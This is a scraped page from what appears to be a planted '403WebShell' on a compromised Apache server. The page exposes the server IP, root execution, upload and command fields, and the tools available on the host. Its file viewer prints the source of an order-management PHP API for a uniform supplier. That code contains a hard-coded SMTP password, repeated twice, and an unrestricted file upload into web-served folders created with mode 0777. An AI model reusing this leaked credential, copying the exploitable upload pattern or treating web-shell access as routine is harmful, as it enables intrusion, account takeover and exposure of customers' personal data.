Warning: chmod(): Operation not permitted in /data/html/improve/wp-content/plugins/wordfence/wordfence.php on line 8
403WebShell
403Webshell
Server IP : 52.9.100.119  /  Your IP : 216.73.216.135
Web Server : Apache/2.4.61 (Amazon) OpenSSL/1.0.2k-fips PHP/7.3.30 Phusion_Passenger/5.1.5
System : Linux ip-172-31-9-35 4.14.355-196.618.amzn1.x86_64 #1 SMP Mon Apr 7 17:09:50 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.3.30
Disable Function : exec,passthru,shell_exec,system,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /data/html/domik-general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/html/domik-general/orders_api_old.php
<?php
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/json,application/x-www-form-urlencoded,multipart/form-data');
header('Access-Control-Allow-Headers: Content-Type');
require 'lib/rb_conf.php';
require_once 'lib/api_token.php';

require('vendor/phpmailer/phpmailer/PHPMailerAutoload.php');


R::fancyDebug(false);

$data                = array();
$error_code        = 0;
$error_description = "";

if(isset($_POST['api_token']) & isset($_POST['user_id']) & isset($_POST['option'])){

    if(validate_token($_POST['user_id'],$_POST['api_token'])){

        switch ($_POST['option']){
            case 'get_order':
                if(isset($_POST['order_id'])){
                    getOrder($_POST['order_id']);
                }
                else{
                    $error_code        = 2;
                    $error_description = 'missing order_id';
                    $data['error']           = array("code" => $error_code, "description" => $error_description);

                    echo json_encode($data, JSON_UNESCAPED_UNICODE);
                }
                break;

            case 'get_catalogs':
                getCatalogs();
                break;

            case 'new_order':
                newOrder();
                break;

            case 'get_orders':
                getOrders();
                break;

            case 'edit_order':
                if(isset($_POST['order_id'])){
                    editOrder($_POST['order_id']);
                }
                else{
                    $error_code        = 2;
                    $error_description = 'missing order_id';
                    $data['error']           = array("code" => $error_code, "description" => $error_description);

                    echo json_encode($data, JSON_UNESCAPED_UNICODE);
                }
            break;

            case 'edit_order_status':
                if(isset($_POST['order_id'])){
                    editOrderStatus($_POST['order_id']);
                }
                else{
                    $error_code        = 2;
                    $error_description = 'missing order_id';
                    $data['error']           = array("code" => $error_code, "description" => $error_description);

                    echo json_encode($data, JSON_UNESCAPED_UNICODE);
                }
                break;

        }
    }
    else{
        $error_code        = 1;
        $error_description = 'Invalid Token. ';
        $data['error']           = array("code" => $error_code, "description" => $error_description);

        echo json_encode($data, JSON_UNESCAPED_UNICODE);
    }

}
else{
    $error_code        = 2;
    $error_description = 'Required fields are missing. ';
    $data['error']           = array("code" => $error_code, "description" => $error_description);

    echo json_encode($data, JSON_UNESCAPED_UNICODE);
}

// - - - Functions - - -

function getCatalogs(){


    $color_beans = R::findAll('color');

    $thread_color_beans = R::findAll('threadcolor');

    $hospital_beans = R::findAll('hospital');
    foreach ($hospital_beans as $hospital){
        $hospital->ownAreaList;
    }

    $areas_beans = R::findAll('area');

    $models_beans = R::findAll('model');
    foreach ($models_beans as $model){
        $model->brand;
        $model->gender;
        $model->sharedHospitalList;
        $model->sharedColorList;
    }


    $data['hospitals'] = $hospital_beans;
    $data['areas'] = $areas_beans;
    $data['thread_colors'] = $thread_color_beans;
    $data['colors'] = $color_beans;
    $data['models'] = $models_beans;

    $error_code        = 0;
    $error_description = 'Success.';
    $data['error']           = array("code" => $error_code, "description" => $error_description);

    echo json_encode($data, JSON_UNESCAPED_UNICODE);

}

function getOrder($id){
    $order_bean = R::load("order",$id);
    $data['order'] = $order_bean;
    $error_code        = 0;
    $error_description = 'Success.';
    $data['error']           = array("code" => $error_code, "description" => $error_description);

    echo json_encode($data, JSON_UNESCAPED_UNICODE);
}

function getOrders(){
    $orders_bean = R::findAll("order");
    $data['orders'] = $orders_bean;
    $orders_bean_solicitud = R::findAll("order","status = ?",["Solicitud"]);
    $data['orders_solicitud'] = $orders_bean_solicitud;
    $orders_bean_produccion = R::findAll("order","status = ?",["Producción"]);
    $data['orders_produccion'] = $orders_bean_produccion;
    $orders_bean_importacion = R::findAll("order","status = ?",["Proceso de importación"]);
    $data['orders_importacion'] = $orders_bean_importacion;
    $orders_bean_almacen = R::findAll("order","status = ?",["Almacén Domik"]);
    $data['orders_almacen'] = $orders_bean_almacen;
    $orders_bean_bordado = R::findAll("order","status = ?",["Bordado"]);
    $data['orders_bordado'] = $orders_bean_bordado;
    $orders_bean_pick = R::findAll("order","status = ?",["Pick & Pack"]);
    $data['orders_pick'] = $orders_bean_pick;
    $orders_bean_calidad = R::findAll("order","status = ?",["Calidad"]);
    $data['orders_calidad'] = $orders_bean_calidad;
    $orders_bean_transito = R::findAll("order","status = ?",["En tránsito a destino"]);
    $data['orders_transito'] = $orders_bean_transito;
    $orders_bean_entregado = R::findAll("order","status = ?",["Entregado"]);
    $data['orders_entregado'] = $orders_bean_entregado;
    $orders_bean_rechazado = R::findAll("order","status = ?",["Rechazado"]);
    $data['orders_rechazado'] = $orders_bean_rechazado;
    $error_code        = 0;
    $error_description = 'Success.';
    $data['error']           = array("code" => $error_code, "description" => $error_description);

    echo json_encode($data, JSON_UNESCAPED_UNICODE);
}

function newOrder(){

    $user = $_POST['user_id'];

    $order_bean = R::dispense( 'order' );
    $order_bean->gender = isset($_POST['order_gender']) ? $_POST['order_gender'] : "";
    $order_bean->name = isset($_POST['order_name']) ? $_POST['order_name'] : "";
    $order_bean->firstLastname = isset($_POST['order_firstLastname']) ? $_POST['order_firstLastname'] : "";
    $order_bean->secondLastname = isset($_POST['order_secondLastname']) ? $_POST['order_secondLastname'] : "";
    $order_bean->specialty = isset($_POST['order_specialty']) ? $_POST['order_specialty'] : "";
    $order_bean->hospital = isset($_POST['order_hospital']) ? $_POST['order_hospital'] : "";
    $order_bean->area = isset($_POST['order_area']) ? $_POST['order_area'] : "";
    $order_bean->user = $user;
    $order_bean->mail = isset($_POST['order_mail']) ? $_POST['order_mail'] : "";
    $order_bean->phone = isset($_POST['order_phone']) ? $_POST['order_phone'] : "";
    $order_bean->status = "Solicitud";
    $order_bean->date = date("Y-m-d");
    $order_bean->dateEdit = null;
    $order_bean->partialEditDate = null;
    $id = R::store($order_bean);
    mkdir("/data/html/domik-general/uploads/".$user."/".$id, 0777,true);

    $scrubLogo_image = isset($_FILES['order_scrubLogo_image']) ? $_FILES['order_scrubLogo_image'] : NULL;
    if (!empty($scrubLogo_image)){
        $extension = pathinfo($scrubLogo_image['name'], PATHINFO_EXTENSION);
        $ruta_destino_archivo = "/data/html/domik-general/uploads/".$user."/".$id."/scrubLogo.".$extension;
        $origin = "Ruta y nombre del archivo: ".$scrubLogo_image['tmp_name'];
        $save =  "Ruta y nombre del destino: ".$ruta_destino_archivo;
        $archivo_ok = move_uploaded_file($scrubLogo_image['tmp_name'], $ruta_destino_archivo);
        $scrubLogo_image = $ruta_destino_archivo;

    }
    $pantsLogo_image = isset($_FILES['order_pantsLogo_image']) ? $_FILES['order_pantsLogo_image'] : NULL;
    if (!empty($pantsLogo_image)){
        $extension = pathinfo($pantsLogo_image['name'], PATHINFO_EXTENSION);
        $ruta_destino_archivo = "/data/html/domik-general/uploads/".$user."/".$id."/pantalonLogo.".$extension;
        $origin = "Ruta y nombre del archivo: ".$pantsLogo_image['tmp_name'];
        $save =  "Ruta y nombre del destino: ".$ruta_destino_archivo;
        $archivo_ok = move_uploaded_file($pantsLogo_image['tmp_name'], $ruta_destino_archivo);
        $pantsLogo_image = $ruta_destino_archivo;

    }

    $jacketLogo_image = isset($_FILES['order_jacketLogo_image']) ? $_FILES['order_jacketLogo_image'] : NULL;
    if (!empty($jacketLogo_image)){
        $extension = pathinfo($jacketLogo_image['name'], PATHINFO_EXTENSION);
        $ruta_destino_archivo = "/data/html/domik-general/uploads/".$user."/".$id."/chamarraLogo.".$extension;
        $origin = "Ruta y nombre del archivo: ".$jacketLogo_image['tmp_name'];
        $save =  "Ruta y nombre del destino: ".$ruta_destino_archivo;
        $archivo_ok = move_uploaded_file($jacketLogo_image['tmp_name'], $ruta_destino_archivo);
        $jacketLogo_image = $ruta_destino_archivo;

    }

    $coatLogo_image = isset($_FILES['order_coatLogo_image']) ? $_FILES['order_coatLogo_image'] : NULL;
    if (!empty($coatLogo_image)){
        $extension = pathinfo($coatLogo_image['name'], PATHINFO_EXTENSION);
        $ruta_destino_archivo = "/data/html/domik-general/uploads/".$user."/".$id."/bataLogo.".$extension;
        $origin = "Ruta y nombre del archivo: ".$coatLogo_image['tmp_name'];
        $save =  "Ruta y nombre del destino: ".$ruta_destino_archivo;
        $archivo_ok = move_uploaded_file($coatLogo_image['tmp_name'], $ruta_destino_archivo);
        $coatLogo_image = $ruta_destino_archivo;

    }

    // filipina

    $order_bean->scrubQty = (isset($_POST['order_scrubQty'])) ? $_POST['order_scrubQty'] : 0;
    $order_bean->scrubModel = (isset($_POST['order_scrubModel'])) ? $_POST['order_scrubModel'] : "";
    $order_bean->scrubSize = (isset($_POST['order_scrubSize'])) ? $_POST['order_scrubSize'] : "";
    $order_bean->scrubColor = (isset($_POST['order_scrubColor'])) ? $_POST['order_scrubColor'] : "";
    $order_bean->scrubLogo = (isset($_POST['order_scrubLogo'])) ? $_POST['order_scrubLogo'] : "";
    $order_bean->scrubLogo_image = $scrubLogo_image;
    $order_bean->embroid_scrub = (isset($_POST['order_embroid_scrub'])) ? $_POST['order_embroid_scrub'] : "";
    $order_bean->embroid_scrub_text = (isset($_POST['order_embroid_scrub_text'])) ? $_POST['order_embroid_scrub_text'] : "";
    $order_bean->embroid_scrub_position =  (isset($_POST['order_embroid_scrub_position'])) ? $_POST['order_embroid_scrub_position'] : "";
    $order_bean->embroid_scrub_font = (isset($_POST['order_embroid_scrub_font'])) ? $_POST['order_embroid_scrub_font'] : "";
    $order_bean->embroid_scrub_fontColor = (isset($_POST['order_embroid_scrub_fontColor'])) ? $_POST['order_embroid_scrub_fontColor'] : "";

    // pantalones

    $order_bean->pantsQty = (isset($_POST['order_pantsQty'])) ? $_POST['order_pantsQty'] : 0;
    $order_bean->pantsModel = (isset($_POST['order_pantsModel'])) ? $_POST['order_pantsModel'] : "";
    $order_bean->pantsSize = (isset($_POST['order_pantsSize'])) ? $_POST['order_pantsSize'] : "";
    $order_bean->pantsColor = (isset($_POST['order_pantsColor'])) ? $_POST['order_pantsColor'] : "";
    $order_bean->pantsLogo = (isset($_POST['order_pantsLogo'])) ? $_POST['order_pantsLogo'] : "";
    $order_bean->pantsLogo_image = $pantsLogo_image;
    $order_bean->embroid_pants = (isset($_POST['order_embroid_pants'])) ? $_POST['order_embroid_pants'] : "";
    $order_bean->embroid_pants_text = (isset($_POST['order_embroid_pants_text'])) ? $_POST['order_embroid_pants_text'] : "";
    $order_bean->embroid_pants_position =  (isset($_POST['order_embroid_pants_position'])) ? $_POST['order_embroid_pants_position'] : "";
    $order_bean->embroid_pants_font = (isset($_POST['order_embroid_pants_font'])) ? $_POST['order_embroid_pants_font'] : "";
    $order_bean->embroid_pants_fontColor = (isset($_POST['order_embroid_pants_fontColor'])) ? $_POST['order_embroid_pants_fontColor'] : "";

    // chamarra

    $order_bean->jacketQty = (isset($_POST['order_jacketQty'])) ? $_POST['order_jacketQty'] : 0;
    $order_bean->jacketModel = (isset($_POST['order_jacketModel'])) ? $_POST['order_jacketModel'] : "";
    $order_bean->jacketSize = (isset($_POST['order_jacketSize'])) ? $_POST['order_jacketSize'] : "";
    $order_bean->jacketColor = (isset($_POST['order_jacketColor'])) ? $_POST['order_jacketColor'] : "";
    $order_bean->jacketLogo = (isset($_POST['order_jacketLogo'])) ? $_POST['order_jacketLogo'] : "";
    $order_bean->jacketLogo_image = $jacketLogo_image;
    $order_bean->embroid_jacket = (isset($_POST['order_embroid_jacket'])) ? $_POST['order_embroid_jacket'] : "";
    $order_bean->embroid_jacket_text = (isset($_POST['order_embroid_jacket_text'])) ? $_POST['order_embroid_jacket_text'] : "";
    $order_bean->embroid_jacket_position = (isset($_POST['order_embroid_jacket_position'])) ? $_POST['order_embroid_jacket_position'] : "";
    $order_bean->embroid_jacket_font = (isset($_POST['order_embroid_jacket_font'])) ? $_POST['order_embroid_jacket_font'] : "";
    $order_bean->embroid_jacket_fontColor = (isset($_POST['order_embroid_jacket_fontColor'])) ? $_POST['order_embroid_jacket_fontColor'] : "";

    // bata

    $order_bean->coatQty = (isset($_POST['order_coatQty'])) ? $_POST['order_coatQty'] : 0;
    $order_bean->coatModel = (isset($_POST['order_coatModel'])) ? $_POST['order_coatModel'] : "";
    $order_bean->coatSize = (isset($_POST['order_coatSize'])) ? $_POST['order_coatSize'] : "";
    $order_bean->coatColor = (isset($_POST['order_coatColor'])) ? $_POST['order_coatColor'] : "";
    $order_bean->coatLogo = (isset($_POST['order_coatLogo'])) ? $_POST['order_coatLogo'] : "";
    $order_bean->coatLogo_image = $coatLogo_image;
    $order_bean->embroid_coat = (isset($_POST['order_embroid_coat'])) ? $_POST['order_embroid_coat'] : "";
    $order_bean->embroid_coat_text = (isset($_POST['order_embroid_coat_text'])) ? $_POST['order_embroid_coat_text'] : "";
    $order_bean->embroid_coat_position = (isset($_POST['order_embroid_coat_position'])) ? $_POST['order_embroid_coat_position'] : "";
    $order_bean->embroid_coat_font = (isset($_POST['order_embroid_coat_font'])) ? $_POST['order_embroid_coat_font'] : "";
    $order_bean->embroid_coat_fontColor = (isset($_POST['order_embroid_coat_fontColor'])) ? $_POST['order_embroid_coat_fontColor'] : "";

    $order_bean->total = $order_bean->coatQty+$order_bean->jacketQty+$order_bean->pantsQty+$order_bean->scrubQty ;

    R::store($order_bean);

    $final_order_bean = R::load("order",$id);


    //Create an instance; passing `true` enables exceptions
    $mail = new PHPMailer();

    try {
        //Server settings
        $mail->SMTPDebug = false;                      //Enable verbose debug output
        $mail->CharSet = 'UTF-8';
        $mail->isSMTP();                                            //Send using SMTP
        $mail->Host       = 'mail.domikuniformes.com';                     //Set the SMTP server to send through
        $mail->SMTPAuth   = true;                                   //Enable SMTP authentication
        $mail->Username   = 'portal@domikuniformes.com';                     //SMTP username
        $mail->Password   = 'fujNshw7n2wx';                               //SMTP password
        $mail->SMTPSecure = "tls";            //Enable implicit TLS encryption
        $mail->Port       = 25;                                    //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`

        //Recipients
        $mail->setFrom('portal@domikuniformes.com', 'Portal Domik');
        //$mail->addAddress('joe@example.net', 'Joe User');     //Add a recipient
        $mail->addAddress($final_order_bean->mail);               //Name is optional
        //$mail->addReplyTo('info@example.com', 'Information');
        //$mail->addCC($client_mail);
        //$mail->addBCC('bcc@example.com');

        //Attachments
        //$mail->addAttachment('/var/tmp/file.tar.gz');         //Add attachments
        //$mail->addAttachment('/tmp/image.jpg', 'new.jpg');    //Optional name

        //Content
        $mail->isHTML(true);
        $subject = "Confirmación de orden";
        $subject = utf8_decode($subject);//Set email format to HTML
        $mail->Subject = $subject;

        $body = file_get_contents('lib/correo_domik_orden_nueva.html');
        //se cambian los parametros generales de la orden
        $body = str_replace('$hospital', $final_order_bean->hospital, $body);
        $body = str_replace('$especialidad', $final_order_bean->specialty, $body);
        $body = str_replace('$genero', $final_order_bean->gender, $body);
        $body = str_replace('$nombrecompleto', $final_order_bean->name." ".$final_order_bean->firstLastname." ".$final_order_bean->secondLastname, $body);
        $body = str_replace('$telefono', $final_order_bean->phone, $body);
        $body = str_replace('$correoelectronico', $final_order_bean->mail, $body);

        //condicional de parametros en base  a la orden para cada item
        if ($final_order_bean->scrubQty != null && $final_order_bean->scrubQty!= 0){

            $item  = file_get_contents('lib/item.html');
            $item = str_replace('$uniforme',"Coordinado Filipina",$item);
            $item = str_replace('$modelo',$final_order_bean->scrubModel,$item);
            $item = str_replace('$genero',$final_order_bean->gender,$item);
            $item = str_replace('$talla',$final_order_bean->scrubSize,$item);
            $item = str_replace('$cantidad',$final_order_bean->scrubQty,$item);

            if($final_order_bean->embroid_scrub == "No"){
                $item = str_replace('$cantidad',"No",$item);
                $item = str_replace('$posicionbordado',"No",$item);
                $item = str_replace('$letrabordado',"No",$item);
                $item = str_replace('$colorbordado',"No",$item);
            }
            elseif($final_order_bean->embroid_scrub == "Si"){
                $item = str_replace('$cantidad',$final_order_bean->embroid_scrub_text,$item);
                $item = str_replace('$posicionbordado',$final_order_bean->embroid_scrub_position,$item);
                $item = str_replace('$letrabordado',$final_order_bean->embroid_scrub_font,$item);
                $item = str_replace('$colorbordado',$final_order_bean->embroid_scrub_fontColor,$item);
            }

            if($final_order_bean->scrubLogo == "No"){
                $item = str_replace('$logotipo',$final_order_bean->scrubLogo,$item);
            }
            elseif($final_order_bean->scrubLogo == "Si"){
                $scrub_logo_image = $final_order_bean->scrubLogo_image;
                $scrub_logo_image = str_replace("/data/html/domik-general/", "https://domik-general.ddns.net/", $scrub_logo_image);
                $item = str_replace('$logotipo',$scrub_logo_image,$item);
            }

            $body = $body.$item;
        }

        if ($final_order_bean->pantsQty != null && $final_order_bean->pantsQty!= 0){

            $item  = file_get_contents('lib/item.html');
            $item = str_replace('$uniforme',"Coordinado Pantalón",$item);
            $item = str_replace('$modelo',$final_order_bean->pantsModel,$item);
            $item = str_replace('$genero',$final_order_bean->gender,$item);
            $item = str_replace('$talla',$final_order_bean->pantsSize,$item);
            $item = str_replace('$cantidad',$final_order_bean->pantsQty,$item);

            if($final_order_bean->embroid_pants == "No"){
                $item = str_replace('$cantidad',"No",$item);
                $item = str_replace('$posicionbordado',"No",$item);
                $item = str_replace('$letrabordado',"No",$item);
                $item = str_replace('$colorbordado',"No",$item);
            }
            elseif($final_order_bean->embroid_pants == "Si"){
                $item = str_replace('$cantidad',$final_order_bean->embroid_pants_text,$item);
                $item = str_replace('$posicionbordado',$final_order_bean->embroid_pants_position,$item);
                $item = str_replace('$letrabordado',$final_order_bean->embroid_pants_font,$item);
                $item = str_replace('$colorbordado',$final_order_bean->embroid_pants_fontColor,$item);
            }

            if($final_order_bean->pantsLogo == "No"){
                $item = str_replace('$logotipo',$final_order_bean->pantsLogo,$item);
            }
            elseif($final_order_bean->pantsLogo == "Si"){
                $pants_logo_image = $final_order_bean->pantsLogo_image;
                $pants_logo_image = str_replace("/data/html/domik-general/", "https://domik-general.ddns.net/", $pants_logo_image);
                $item = str_replace('$logotipo',$pants_logo_image,$item);
            }

            $body = $body.$item;
        }

        if ($final_order_bean->coatQty!= null  && $final_order_bean->coatQty!= 0){

            $item  = file_get_contents('lib/item.html');
            $item = str_replace('$uniforme',"Bata",$item);
            $item = str_replace('$modelo',$final_order_bean->coatModel,$item);
            $item = str_replace('$genero',$final_order_bean->gender,$item);
            $item = str_replace('$talla',$final_order_bean->coatSize,$item);
            $item = str_replace('$cantidad',$final_order_bean->coatQty,$item);

            if($final_order_bean->embroid_coat == "No"){
                $item = str_replace('$cantidad',"No",$item);
                $item = str_replace('$posicionbordado',"No",$item);
                $item = str_replace('$letrabordado',"No",$item);
                $item = str_replace('$colorbordado',"No",$item);
            }
            elseif($final_order_bean->embroid_coat == "Si"){
                $item = str_replace('$cantidad',$final_order_bean->embroid_coat_text,$item);
                $item = str_replace('$posicionbordado',$final_order_bean->embroid_coat_position,$item);
                $item = str_replace('$letrabordado',$final_order_bean->embroid_coat_font,$item);
                $item = str_replace('$colorbordado',$final_order_bean->embroid_coat_fontColor,$item);
            }

            if($final_order_bean->coatLogo == "No"){
                $item = str_replace('$logotipo',$final_order_bean->coatLogo,$item);
            }
            elseif($final_order_bean->coatLogo == "Si"){
                $coat_logo_image = $final_order_bean->coatLogo_image;
                $coat_logo_image = str_replace("/data/html/domik-general/", "https://domik-general.ddns.net/", $coat_logo_image);
                $item = str_replace('$logotipo',$coat_logo_image,$item);
            }


            $body = $body.$item;
        }

        if ($final_order_bean->jacketQty!= null  && $final_order_bean->jacketQty!= 0){

            $item  = file_get_contents('lib/item.html');
            $item = str_replace('$uniforme',"Chamarra",$item);
            $item = str_replace('$modelo',$final_order_bean->jacketModel,$item);
            $item = str_replace('$genero',$final_order_bean->gender,$item);
            $item = str_replace('$talla',$final_order_bean->jacketSize,$item);
            $item = str_replace('$cantidad',$final_order_bean->jacketQty,$item);


            if($final_order_bean->embroid_jacket == "No"){
                $item = str_replace('$cantidad',"No",$item);
                $item = str_replace('$posicionbordado',"No",$item);
                $item = str_replace('$letrabordado',"No",$item);
                $item = str_replace('$colorbordado',"No",$item);
            }
            elseif($final_order_bean->embroid_jacket == "Si"){
                $item = str_replace('$cantidad',$final_order_bean->embroid_jacket_text,$item);
                $item = str_replace('$posicionbordado',$final_order_bean->embroid_jacket_position,$item);
                $item = str_replace('$letrabordado',$final_order_bean->embroid_jacket_font,$item);
                $item = str_replace('$colorbordado',$final_order_bean->embroid_jacket_fontColor,$item);
            }

            if($final_order_bean->jacketLogo == "No"){
                $item = str_replace('$logotipo',$final_order_bean->jacketLogo,$item);
            }
            elseif($final_order_bean->jacketLogo == "Si"){
                $jacket_logo_image = $final_order_bean->jacketLogo_image;
                $jacket_logo_image = str_replace("/data/html/domik-general/", "https://domik-general.ddns.net/", $jacket_logo_image);
                $item = str_replace('$logotipo',$jacket_logo_image,$item);
            }


            $body = $body.$item;
        }

        //finaliza
        $body = $body.file_get_contents('lib/end.html');
        $mail->Body    = $body;
        //$mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

        $mail->send();
        $mail_response = 'Message has been sent';
    } catch (Exception $e) {
        $mail_response = "Message could not be sent. Mailer Error: {$mail->ErrorInfo}";
    }

    ///////////////////////   second mail for hospital personal
    ///
    ///
    //Create an instance; passing `true` enables exceptions

    $mail2 = new PHPMailer();

    try {
        //Server settings
        $mail2->SMTPDebug = false;                      //Enable verbose debug output
        $mail2->CharSet = 'UTF-8';
        $mail2->isSMTP();                                            //Send using SMTP
        $mail2->Host       = 'mail.domikuniformes.com';                     //Set the SMTP server to send through
        $mail2->SMTPAuth   = true;                                   //Enable SMTP authentication
        $mail2->Username   = 'portal@domikuniformes.com';                     //SMTP username
        $mail2->Password   = 'fujNshw7n2wx';                               //SMTP password
        $mail2->SMTPSecure = "tls";            //Enable implicit TLS encryption
        $mail2->Port       = 25;               //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`

        //Recipients
        $mail2->setFrom('portal@domikuniformes.com', 'Portal Domik');
        //$mail->addAddress('joe@example.net', 'Joe User');     //Add a recipient
        $mail2->addAddress($final_order_bean->mail);                //Name is optional
        //$mail->addReplyTo('info@example.com', 'Information');
        $mail2->addCC("");
        //$mail->addBCC('bcc@example.com');


        //Content
        $mail2->isHTML(true);
        $subject = "Confirmación de orden";
        $subject = utf8_decode($subject);//Set email format to HTML
        $mail2->Subject = $subject;

        $body = file_get_contents('lib/correo_domik_orden_nueva.html');
        //se cambian los parametros generales de la orden
        $body = str_replace('$hospital', $final_order_bean->hospital, $body);
        $body = str_replace('$especialidad', $final_order_bean->specialty, $body);
        $body = str_replace('$genero', $final_order_bean->gender, $body);
        $body = str_replace('$nombrecompleto', $final_order_bean->name." ".$final_order_bean->firstLastname." ".$final_order_bean->secondLastname, $body);
        $body = str_replace('$telefono', $final_order_bean->phone, $body);
        $body = str_replace('$correoelectronico', $final_order_bean->mail, $body);

        //condicional de parametros en base  a la orden para cada item
        if ($final_order_bean->scrubQty != null && $final_order_bean->scrubQty!= 0){

            $item  = file_get_contents('lib/item.html');
            $item = str_replace('$uniforme',"Coordinado Filipina",$item);
            $item = str_replace('$modelo',$final_order_bean->scrubModel,$item);
            $item = str_replace('$genero',$final_order_bean->gender,$item);
            $item = str_replace('$talla',$final_order_bean->scrubSize,$item);
            $item = str_replace('$cantidad',$final_order_bean->scrubQty,$item);

            if($final_order_bean->embroid_scrub == "No"){
                $item = str_replace('$cantidad',"No",$item);
                $item = str_replace('$posicionbordado',"No",$item);
                $item = str_replace('$letrabordado',"No",$item);
                $item = str_replace('$colorbordado',"No",$item);
            }
            elseif($final_order_bean->embroid_scrub == "Si"){
                $item = str_replace('$cantidad',$final_order_bean->embroid_scrub_text,$item);
                $item = str_replace('$posicionbordado',$final_order_bean->embroid_scrub_position,$item);
                $item = str_replace('$letrabordado',$final_order_bean->embroid_scrub_font,$item);
                $item = str_replace('$colorbordado',$final_order_bean->embroid_scrub_fontColor,$item);
            }

            if($final_order_bean->scrubLogo == "No"){
                $item = str_replace('$logotipo',$final_order_bean->scrubLogo,$item);
            }
            elseif($final_order_bean->scrubLogo == "Si"){
                $scrub_logo_image = $final_order_bean->scrubLogo_image;
                $scrub_logo_image = str_replace("/data/html/domik-general/", "https://domik-general.ddns.net/", $scrub_logo_image);
                $item = str_replace('$logotipo',$scrub_logo_image,$item);
                $mail2->addAttachment($final_order_bean->scrubLogo_image);
            }

            $body = $body.$item;
        }

        if ($final_order_bean->pantsQty != null && $final_order_bean->pantsQty!= 0){

            $item  = file_get_contents('lib/item.html');
            $item = str_replace('$uniforme',"Coordinado Pantalón",$item);
            $item = str_replace('$modelo',$final_order_bean->pantsModel,$item);
            $item = str_replace('$genero',$final_order_bean->gender,$item);
            $item = str_replace('$talla',$final_order_bean->pantsSize,$item);
            $item = str_replace('$cantidad',$final_order_bean->pantsQty,$item);

            if($final_order_bean->embroid_pants == "No"){
                $item = str_replace('$cantidad',"No",$item);
                $item = str_replace('$posicionbordado',"No",$item);
                $item = str_replace('$letrabordado',"No",$item);
                $item = str_replace('$colorbordado',"No",$item);
            }
            elseif($final_order_bean->embroid_pants == "Si"){
                $item = str_replace('$cantidad',$final_order_bean->embroid_pants_text,$item);
                $item = str_replace('$posicionbordado',$final_order_bean->embroid_pants_position,$item);
                $item = str_replace('$letrabordado',$final_order_bean->embroid_pants_font,$item);
                $item = str_replace('$colorbordado',$final_order_bean->embroid_pants_fontColor,$item);
            }

            if($final_order_bean->pantsLogo == "No"){
                $item = str_replace('$logotipo',$final_order_bean->pantsLogo,$item);
            }
            elseif($final_order_bean->pantsLogo == "Si"){
                $pants_logo_image = $final_order_bean->pantsLogo_image;
                $pants_logo_image = str_replace("/data/html/domik-general/", "https://domik-general.ddns.net/", $pants_logo_image);
                $item = str_replace('$logotipo',$pants_logo_image,$item);
                $mail2->addAttachment($final_order_bean->pantsLogo_image);
            }

            $body = $body.$item;
        }

        if ($final_order_bean->coatQty!= null  && $final_order_bean->coatQty!= 0){

            $item  = file_get_contents('lib/item.html');
            $item = str_replace('$uniforme',"Bata",$item);
            $item = str_replace('$modelo',$final_order_bean->coatModel,$item);
            $item = str_replace('$genero',$final_order_bean->gender,$item);
            $item = str_replace('$talla',$final_order_bean->coatSize,$item);
            $item = str_replace('$cantidad',$final_order_bean->coatQty,$item);

            if($final_order_bean->embroid_coat == "No"){
                $item = str_replace('$cantidad',"No",$item);
                $item = str_replace('$posicionbordado',"No",$item);
                $item = str_replace('$letrabordado',"No",$item);
                $item = str_replace('$colorbordado',"No",$item);
            }
            elseif($final_order_bean->embroid_coat == "Si"){
                $item = str_replace('$cantidad',$final_order_bean->embroid_coat_text,$item);
                $item = str_replace('$posicionbordado',$final_order_bean->embroid_coat_position,$item);
                $item = str_replace('$letrabordado',$final_order_bean->embroid_coat_font,$item);
                $item = str_replace('$colorbordado',$final_order_bean->embroid_coat_fontColor,$item);
            }

            if($final_order_bean->coatLogo == "No"){
                $item = str_replace('$logotipo',$final_order_bean->coatLogo,$item);
            }
            elseif($final_order_bean->coatLogo == "Si"){
                $coat_logo_image = $final_order_bean->coatLogo_image;
                $coat_logo_image = str_replace("/data/html/domik-general/", "https://domik-general.ddns.net/", $coat_logo_image);
                $item = str_replace('$logotipo',$coat_logo_image,$item);
                $mail2->addAttachment($final_order_bean->coatLogo_image);
            }


            $body = $body.$item;
        }

        if ($final_order_bean->jacketQty!= null  && $final_order_bean->jacketQty!= 0){

            $item  = file_get_contents('lib/item.html');
            $item = str_replace('$uniforme',"Chamarra",$item);
            $item = str_replace('$modelo',$final_order_bean->jacketModel,$item);
            $item = str_replace('$genero',$final_order_bean->gender,$item);
            $item = str_replace('$talla',$final_order_bean->jacketSize,$item);
            $item = str_replace('$cantidad',$final_order_bean->jacketQty,$item);


            if($final_order_bean->embroid_jacket == "No"){
                $item = str_replace('$cantidad',"No",$item);
                $item = str_replace('$posicionbordado',"No",$item);
                $item = str_replace('$letrabordado',"No",$item);
                $item = str_replace('$colorbordado',"No",$item);
            }
            elseif($final_order_bean->embroid_jacket == "Si"){
                $item = str_replace('$cantidad',$final_order_bean->embroid_jacket_text,$item);
                $item = str_replace('$posicionbordado',$final_order_bean->embroid_jacket_position,$item);
                $item = str_replace('$letrabordado',$final_order_bean->embroid_jacket_font,$item);
                $item = str_replace('$colorbordado',$final_order_bean->embroid_jacket_fontColor,$item);
            }

            if($final_order_bean->jacketLogo == "No"){
                $item = str_replace('$logotipo',$final_order_bean->jacketLogo,$item);
            }
            elseif($final_order_bean->jacketLogo == "Si"){
                $jacket_logo_image = $final_order_bean->jacketLogo_image;
                $jacket_logo_image = str_replace("/data/html/domik-general/", "https://domik-general.ddns.net/", $jacket_logo_image);
                $item = str_replace('$logotipo',$jacket_logo_image,$item);
                $mail2->addAttachment($final_order_bean->jacketLogo_image);
            }


            $body = $body.$item;
        }

        //finaliza
        $body = $body.file_get_contents('lib/end.html');
        $mail2->Body    = $body;
        //$mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

        $mail2->send();
        $mail2_response = 'Message has been sent';
    } catch (Exception $e) {
        $mail2_response = "Message could not be sent. Mailer Error: {$mail2->ErrorInfo}";
    }


    $data['order'] = $final_order_bean;
    $data['user_mail'] = $mail_response;
    $data['hospital_mail'] = $mail2_response;
    $error_code        = 0;
    $error_description = 'Success.';
